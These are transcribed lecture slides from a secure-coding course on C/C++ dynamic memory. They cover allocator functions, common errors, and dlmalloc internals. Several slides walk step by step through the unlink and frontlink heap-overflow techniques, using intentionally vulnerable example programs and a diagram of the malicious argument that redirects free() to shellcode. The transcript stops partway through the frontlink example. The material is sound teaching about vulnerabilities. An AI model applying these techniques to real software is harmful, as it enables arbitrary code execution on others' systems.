dynamic memory management
DESCRIPTION
Dynamic Memory Management. Secure Coding in C and C++. Agenda. Programmer View of Dynamic Memory Dynamic memory functions Dynamic memory manager Common Errors Common Implementations and Exploits Doug Lea’s Memory Allocator RtlHeap Mitigation Strategies. Dynamic Memory Interface. - PowerPoint PPT PresentationTRANSCRIPT
![Page 1: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/1.jpg)
Dynamic Memory Management
Secure Coding in C and C++
![Page 2: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/2.jpg)
Agenda Programmer View of Dynamic Memory
Dynamic memory functions Dynamic memory manager
Common Errors Common Implementations and
Exploits Doug Lea’s Memory Allocator RtlHeap
Mitigation Strategies
![Page 3: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/3.jpg)
Dynamic Memory Interface Memory allocation in C:
calloc() malloc() realloc()
Deallocated using the free() function. Memory allocation in C++ using the
new operator. Deallocated using the delete
operator.
![Page 4: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/4.jpg)
Dynamic Memory Interface malloc(size_t size);
Allocates size bytes and returns a pointer to the allocated memory.
The memory is not cleared. free(void * p);
Frees the memory space pointed to by p, which must have been returned by a previous call to malloc(), calloc(), or realloc().
If free(p) has already been called before, undefined behavior occurs.
If p is NULL, no operation is performed.
![Page 5: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/5.jpg)
Dynamic Memory Interface realloc(void *p, size_t size);
Changes the size of the memory block pointed to by p to size bytes.
The contents will be unchanged to the minimum of the old and new sizes.
Newly allocated memory will be uninitialized. If p is NULL, the call is equivalent to malloc(size).
if size is equal to zero, the call is equivalent to free(p).
Unless p is NULL, it must have been returned by an earlier call to malloc(), calloc(), or realloc().
![Page 6: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/6.jpg)
Dynamic Memory Interface calloc(size_t nmemb, size_t size); Allocates memory for an array of nmemb
elements of size bytes each and returns a pointer to the allocated memory.
The memory is set to zero.
![Page 7: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/7.jpg)
Memory Managers Manage both allocated and deallocated
memory. Run as part of the client process. Use a variant of the dynamic storage
allocation algorithm described by Knuth. Memory allocated for the client process
and memory allocated for internal use, is all within the addressable memory space of the client process.
![Page 8: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/8.jpg)
Memory Managers
Different Algorithms for Memory Allocation Sequential Fit Methods
Look for first free area that fits.
circular linked list of blocks current pointer
![Page 9: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/9.jpg)
Memory Managers
Different Algorithms for Memory Allocation First Fit
Look for first free area that fits from start of memory.
circular linked list of blocks
![Page 10: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/10.jpg)
Memory Managers
Different Algorithms for Memory Allocation Best Fit
Look for the tightest fit.
circular linked list of blocks
![Page 11: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/11.jpg)
Memory Managers Different Algorithms for Memory Allocation
Optimal Fit Sample the ring of free blocks. Then choose the first block better than the sample.
Goes back to the optimal marriage strategy. (As developed by Mathematicians, so apply at your own
risk)1:
Date n girls. Date more girls, but marry the one better than the
previous n girls. Stop dating.
Optimal if you can date a total of 2n girls. Small chance that you end up with the worst.
The author, the Department of Computer Engineering, the School of Engineering, Santa Clara University strongly advise: Consult your own personal marriage consultant before following this advise. Negative effects can arise. Participants are not guaranteed to be married to the best girl. Girls may get together and dump on you. ….
Ranking possible marriage partners might be considered degrading.
![Page 12: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/12.jpg)
Memory Managers
Different Algorithms for Memory Allocation Worst fit
Pick the biggest free block.
![Page 13: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/13.jpg)
Memory Managers Different Algorithms for Memory
Allocation Buddy System Methods
Previous methods can lead to fragmentation. Buddy systems only allocate blocks of size 2i. If request is for block of size m, allocate instead
block of size 2[logb m]+1 or – if necessary – larger.
When blocks are returned, try to coalesce them with their buddy, an adjacent block of the same size.
![Page 14: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/14.jpg)
Memory Managers
Buddy System Example
coalesce
![Page 15: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/15.jpg)
Memory Managers
Different Algorithms for Memory Allocation Segregation
Maintain separate lists of blocks of uniform size.
![Page 16: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/16.jpg)
Memory Managers
Memory managers return freed blocks a.s.a.p. into the
pool. coalesce adjoining free blocks into
larger blocks. sometimes use compacting of
reserved blocks. Moves all blocks together.
![Page 17: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/17.jpg)
Common Dynamic Memory Errors Initialization errors Failing to check return values Writing to already freed memory Freeing the same memory multiple times Improperly paired memory management
functions Failure to distinguish scalars and arrays Improper use of allocation functions
![Page 18: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/18.jpg)
Common Dynamic Memory Errors
Initialization Programmer assumes that malloc()
zeroes block. Initializing large blocks of memory
can impact performance and is not always necessary.
Programmers have to initialize memory using memset() or by calling calloc(), which zeros the memory.
![Page 19: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/19.jpg)
Common Dynamic Memory Errors
Initialization
/* return y = Ax */int *matvec(int **A, int *x, int n) { int *y = malloc(n * sizeof(int)); int i, j;
for (i = 0; i < n; i++)for (j = 0; j < n; j++)
y[i] += A[i][j] * x[j]; return y;}
y[i] is initially zero, right?
![Page 20: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/20.jpg)
Common Dynamic Memory Errors
Initialization tar program on Solaris 2.0 included
fragments of the /etc/passwd file.
![Page 21: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/21.jpg)
Common Dynamic Memory Errors
Failing to Check Return Values Memory is a limited resource and can
be exhausted. Memory allocation functions report
status back to the caller. VirtualAlloc() returns NULL Microsoft Foundation Class Library (MFC) operator
new throws CMemoryException HeapAlloc() may return NULL or raise a
structured exception. The application programmer should:
determine when an error has occurred. handle the error in an appropriate manner.
![Page 22: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/22.jpg)
Common Dynamic Memory Errors Failing to Check Return Values
Standard malloc() function returns a NULL pointer if the requested space cannot be allocated.
When memory cannot be allocated a consistent recovery plan is required:
Even if the program just terminates with an error message
![Page 23: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/23.jpg)
Common Dynamic Memory Errors
Failing to Check Return Values PhkMalloc
provides an X option that instructs the memory allocator to abort() the program with a diagnostic message on standard error rather than return failure.
This option can be set at compile time by including in the source:
extern char *malloc_options; malloc_options = "X“.
![Page 24: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/24.jpg)
Common Dynamic Memory Errors
Failing to Check Return Values malloc returns a null pointer if no memory
can be allocated. new operator in C++ throws a bad_alloc
exception. Using new, encapsulate the allocation in a try
block.
![Page 25: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/25.jpg)
Common Dynamic Memory Errors
Failing to Check Return Values Checking for return value of malloc
int *i_ptr;i_ptr = (int *)malloc(sizeof(int)*nelements_wanted);if (i_ptr != NULL) {i_ptr[i] = i;} else { /* Couldn't get the memory - recover */}
![Page 26: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/26.jpg)
Common Dynamic Memory Errors
Failing to Check Return Values Exception handling for new operator
try { int *pn = new int; int *pi = new int(5); double *pd = new double(55.9); int *buf = new int[10]; . . .}catch (bad_alloc) { // handle failure from new}
![Page 27: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/27.jpg)
Common Dynamic Memory Errors
Failing to Check Return Values This does NOT work!
int *pn = new int; if (pn) { … } else { … }
if condition is always true, regardless of success of memory allocation.
![Page 28: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/28.jpg)
Common Dynamic Memory Errors
Failing to Check Return Values Using the nothrow variant of new
works like malloc:
int *pn = new(nothrow) int; if (pn) { … } else { … }
![Page 29: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/29.jpg)
Common Dynamic Memory Errors
Referencing freed memory Usually works, since memory is not
immediately reused.
for (p = head; p != NULL; p = p->next) free(p);
for (p = head; p != NULL; p = q) {q = p->next;free(p);
}
wrong:accessing
freed memory
correct:using a temp
variable
![Page 30: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/30.jpg)
Common Dynamic Memory Errors Referring to freed memory
Unlikely to result in a runtime error because memory is owned by the memory
manager of the program. Freed memory can be allocated before a
read. Read reads incorrect values. Writes destroy some other variable.
Freed memory can be used by the memory manager.
Writes can destroy memory manager metadata. Difficult to diagnose run-time errors. Basis for an exploit
![Page 31: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/31.jpg)
Common Dynamic Memory Errors
Freeing memory multiple times Often result of a cut-paste on code.
x = malloc(n * sizeof(int));
/* manipulate x */
free(x);
y = malloc(n * sizeof(int));
/* manipulate y */
free(x);
![Page 32: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/32.jpg)
Common Dynamic Memory Errors
Freeing memory multiple times Data structures can contain links to
the same item. Example: (What happens if both lists
are freed?)
a
b
![Page 33: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/33.jpg)
Common Dynamic Memory Errors
Freeing memory multiple times Error processing
Same memory chunk might be freed by the error handler and by the throwing try block.
In general: Memory leaks are safer than double
frees.
![Page 34: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/34.jpg)
Common Dynamic Memory Errors
Improperly failed memory management functions Always use
new delete malloc free
Improper pairing can work on some platforms sometimes, but code is not portable.
![Page 35: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/35.jpg)
Common Dynamic Memory Errors
Failure to distinguish scalars and arrays C++ has different operators for
scalars and arrays new delete for scalars new[] delete[] for arrays
![Page 36: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/36.jpg)
Common Dynamic Memory Errors
Improper use of allocation functions malloc(0)
Can lead to memory management errors. A C runtime library can return
a NULL pointer or return a pseudo-address
The safest and most portable solution is to ensure zero-length allocation requests are not made.
![Page 37: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/37.jpg)
Common Dynamic Memory Errors Improper use of allocation functions
Using alloca() Function:
Allocates memory in the stack frame of the caller. Automatically freed when function calling alloca()
returns. Definition:
Is NOT defined in POSIX, SUSv3, C99. But available on some BSD, GCC, Linux distributions.
Problems: Often implemented as an in-line function.
Does not return null error. Can make allocations larger than stack. Confused programmers can call free
![Page 38: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/38.jpg)
dlmalloc
Doug Lea’s malloc default for gcc and on most versions
of Linux Description if for dlmalloc 2.7.2, but
vulnerabilities are the same for other versions.
![Page 39: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/39.jpg)
dlmalloc
dlmalloc manages chunks of memory Free (aka unallocated) Allocated
![Page 40: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/40.jpg)
dlmalloc
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
P
Size or last 4 bytes of prev.
Size
User data
Last 4 bytes of user data
P
Allocated chunk Free chunk
The first four bytes of allocated chunks contain the last four bytes of user data of the previous chunk.
The first four bytes of free chunks containthe size of the previous chunk in the list.
![Page 41: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/41.jpg)
dlmalloc Free chunks
Organized in double linked lists. Contain forward and backward pointers to
the next and the previous chunk. Chunk size stored in the last four B.
Allocated and free chunks are distinguished by the PREV_INUSE bit. Chunk sizes are always even, PREV_INUSE
bit is the low order bit of the chunk size.
![Page 42: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/42.jpg)
dlmalloc
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
P
Size or last 4 bytes of prev.
Size
User data
Last 4 bytes of user data
P
Allocated chunk Free chunk
The first four bytes of allocated chunks contain the last four bytes of user data of the previous chunk.
The first four bytes of free chunks containthe size of the previous chunk in the list.
PREV_INUSE PREV_INUSE
![Page 43: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/43.jpg)
dlmalloc
Free chunks are kept in bins.
Addressed by head.
Chunks in bins are of approximately same size.
Additional bin for recently freed memory.
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
:
1
:
:
Forward pointer to first chunk in list
Back pointer to last chunk in list
head element
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
:
1
:
:
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
:
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
:
1
:
:
Forward pointer to first chunk in list
Back pointer to last chunk in list
Forward pointer to first chunk in list
Back pointer to last chunk in list
head element
![Page 44: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/44.jpg)
dlmalloc
During free() Memory chunks are consolidated, if
possible. Merged with adjacent free chunk.
Chunk before is free: Merge with that chunk.
Chunk after is free: Take that chunk of list. Merge with current chunk.
![Page 45: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/45.jpg)
dlmalloc
Unlink Macro
#define unlink(P, BK, FD) { \FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \
}
![Page 46: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/46.jpg)
dlmallocSize or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
:
1
Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
:
1
<-P
:
:
<-BK (2)
<-FD (1)
(4) BK->fd = FD;
(1) FD = P->fd;
(2) BK = P->bk;
(3) FD->bk = BK;
Before Unlink
Results of Unlink
(4)
(3)
![Page 47: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/47.jpg)
dlmalloc Unlink Technique
Introduced by Solar Designer. Used against versions of
Netscape browsers Traceroute slocate
Uses a buffer overflow to manipulate the boundary tags on chunks of memory
To trick the unlink macro into writing four bytes of data to an arbitrary location.
We have seen how dangerous this is.
![Page 48: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/48.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
Memory allocation chunk 1
Memory allocation chunk 2
Memory allocation chunk 3
![Page 49: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/49.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
The program accepts a single string argument that is copied into first
This unbounded strcpy() operation is susceptible to a buffer overflow.
![Page 50: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/50.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
the program calls free() to deallocate the first chunk of memory
![Page 51: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/51.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
If the second chunk is unallocated, the free() operation will attempt to consolidate it with the first chunk.
![Page 52: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/52.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
To determine whether the second chunk is unallocated, free() checks the PREV_INUSE bit of the third chunk
![Page 53: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/53.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
The location of the third chunk is calculated from the size of the second chunk
![Page 54: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/54.jpg)
dlmalloc Exploit ExampleSize of previous chunk, if unallocated
Size of chunk = 666
666 bytes:
P
:
Size of chunk = 12
12 bytes:
1
:
Size of chunk, in bytes
?? Bytes:
1
1st chunk
2nd chunk
3rd chunkUse the Size Field to Find the Start of the Next Chunk
(and the P-bit)
![Page 55: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/55.jpg)
dlmalloc Exploit Example
4 bytes 4 bytes
dummy dummy shellcode
strlen(shellcode)
First Chunk680 bytes
B B B B B B B………………………………………
Second Chunk
fd bk
4 bytes 4 bytes
even int -4 \0
prevsize
size fd
fp-12 addr
bk
4 bytes 4 bytes
…
…
fill
Malicious argument used in the unlink technique
![Page 56: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/56.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
The argument overwrites the previous size field, size of chunk, and forward and backward pointers in the second chunk— altering the behavior of the call to free()
![Page 57: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/57.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
The size field in the second chunk is overwritten with the value -4 so that when free() attempts to determine the location of the third chunk by adding the size field to the starting address of the second chunk, it instead subtracts 4
![Page 58: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/58.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
Doug Lea’s malloc now mistakenly believes that the start of the next contiguous chunk is 4 bytes before the start of the second chunk.
![Page 59: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/59.jpg)
dlmalloc Exploit Example
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) {
char *first, *second, *third; first = malloc(666); second = malloc(12);
third = malloc(12); strcpy(first, argv[1]); free(first);
free(second); free(third); return(0);
}
The malicious argument makes sure that the location where dlmalloc finds the PREV_INUSE bit is clear, tricking dlmalloc into believing the second chunk is unallocated—so the free() operation invokes the unlink() macro to consolidate the two chunks
![Page 60: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/60.jpg)
dlmalloc Exploit Example
even int
-4
fd = FUNCTION_POINTER - 12
bk = CODE_ADDRESS
remaining space
Size of chunk
0
The first line of unlink, FD = P->fd, assigns the value in P->fd (which has been provided as part of the malicious argument) to FD
#define unlink(P, BK, FD) { \FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \
}
![Page 61: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/61.jpg)
dlmalloc Exploit Example
even int
-4
fd = FUNCTION_POINTER - 12
bk = CODE_ADDRESS
remaining space
Size of chunk
0
The second line of the unlink macro, BK = P->bk, assigns the value of P->bk, which has also been provided by the malicious argument to BK
#define unlink(P, BK, FD) { \FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \
}
![Page 62: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/62.jpg)
dlmalloc Exploit Example
even int
-4
fd = FUNCTION_POINTER - 12
bk = CODE_ADDRESS
remaining space
Size of chunk
0
The third line of the unlink() macro, FD->bk = BK, overwrites the address specified by FD + 12 (the offset of the bk field in the structure) with the value of BK
#define unlink(P, BK, FD) { \FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \
}
![Page 63: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/63.jpg)
dlmalloc The unlink() macro writes four
bytes of data supplied by an attacker to a four-byte address also supplied by the attacker.
![Page 64: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/64.jpg)
dlmalloc Easy to execute arbitrary code with the
permissions of the vulnerable program. Provide the address of the instruction pointer on the
stack and use the unlink() macro to overwrite the address with the address of malicious code.
Overwrite the address of a function called by the vulnerable program with the address of malicious code.
Examine the executable image to find the address of the jump slot for the free() library call.
The address - 12 is included in the malicious argument so that the unlink() method overwrites the address of the free() library call with the address of the shellcode.
The shellcode is then executed instead of the call to free().
![Page 65: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/65.jpg)
dlmalloc Exploitation of buffer overflow is not
difficult. Difficult to determine the size of the first
chunk so that the boundary tag for the second argument can be precisely overwritten.
An attacker can copy and paste the request2size(req,nb) macro from dlmalloc into his or her exploit code and use this macro to calculate the size of the chunk.
![Page 66: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/66.jpg)
dlmalloc Frontlink Technique
More difficult Equally dangerous
When a chunk of memory is freed, it must be linked into a bin (double-linked list)
When a chunk of memory is freed, it must be linked into the appropriate double-linked list.
In some versions of dlmalloc, this is performed by the frontlink() code segment.
This is our target. Write data supplied by the attacker to an address
also supplied by the attacker.
![Page 67: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/67.jpg)
dlmalloc
Frontlink Technique The attacker:
Supplies the address of a memory chunk and not the address of the shell code,
Arranges for the first four bytes of this memory chunk to contain executable code.
This is accomplished by writing these instructions into the last four bytes of the previous chunk in memory.
![Page 68: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/68.jpg)
dlmalloc
Frontlink technique: frontlink code segmentBK = bin;FD = BK->fd;if (FD != BK) { while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk;}P->bk = BK;P->fd = FD;FD->bk = BK->fd = P
![Page 69: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/69.jpg)
dlmalloc#include <stdlib.h>#include <string.h>#include <stdio.h>int main(int argc, char *argv[]){ if (argc !=3){
printf("Usage: prog_name arg1 \n");exit(-1);
}char *first, *second, *third;char *fourth, *fifth, *sixth;first = malloc(strlen(argv[2]) + 1);second = malloc(1500);third = malloc(12);fourth = malloc(666);fifth = malloc(1508);sixth = malloc(12);strcpy(first, argv[2]);free(fifth);strcpy(fourth, argv[1]);free(second);return(0);
}
copy argv[2] into the first chunk
![Page 70: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/70.jpg)
dlmalloc
Attacker provides malicious argument Contains shellcode
Last 4 bytes of the shellcode are the jump instruction into the rest of the shellcode
These four bytes are the last four bytes of the first chunk.
Chunk being attacked must be a multiple of 8B minus 4B long.
![Page 71: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/71.jpg)
dlmalloc#include <stdlib.h>#include <string.h>#include <stdio.h>int main(int argc, char *argv[]){ if (argc !=3){
printf("Usage: prog_name arg1 \n");exit(-1);
}char *first, *second, *third;char *fourth, *fifth, *sixth;first = malloc(strlen(argv[2]) + 1);second = malloc(1500);third = malloc(12);fourth = malloc(666);fifth = malloc(1508);sixth = malloc(12);strcpy(first, argv[2]);free(fifth);strcpy(fourth, argv[1]);free(second);return(0);
}
When the fifth chunk is freed it is put into a bin
![Page 72: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/72.jpg)
dlmalloc#include <stdlib.h>#include <string.h>#include <stdio.h>int main(int argc, char *argv[]){ if (argc !=3){
printf("Usage: prog_name arg1 \n");exit(-1);
}char *first, *second, *third;char *fourth, *fifth, *sixth;first = malloc(strlen(argv[2]) + 1);second = malloc(1500);third = malloc(12);fourth = malloc(666);fifth = malloc(1508);sixth = malloc(12);strcpy(first, argv[2]);free(fifth);strcpy(fourth, argv[1]);free(second);return(0);
}
The fourth chunk in memory is seeded with carefully crafted data (argv[1]) so that it overflows.
The address of a fake chunk is written into the forward pointer of the fifth chunk.
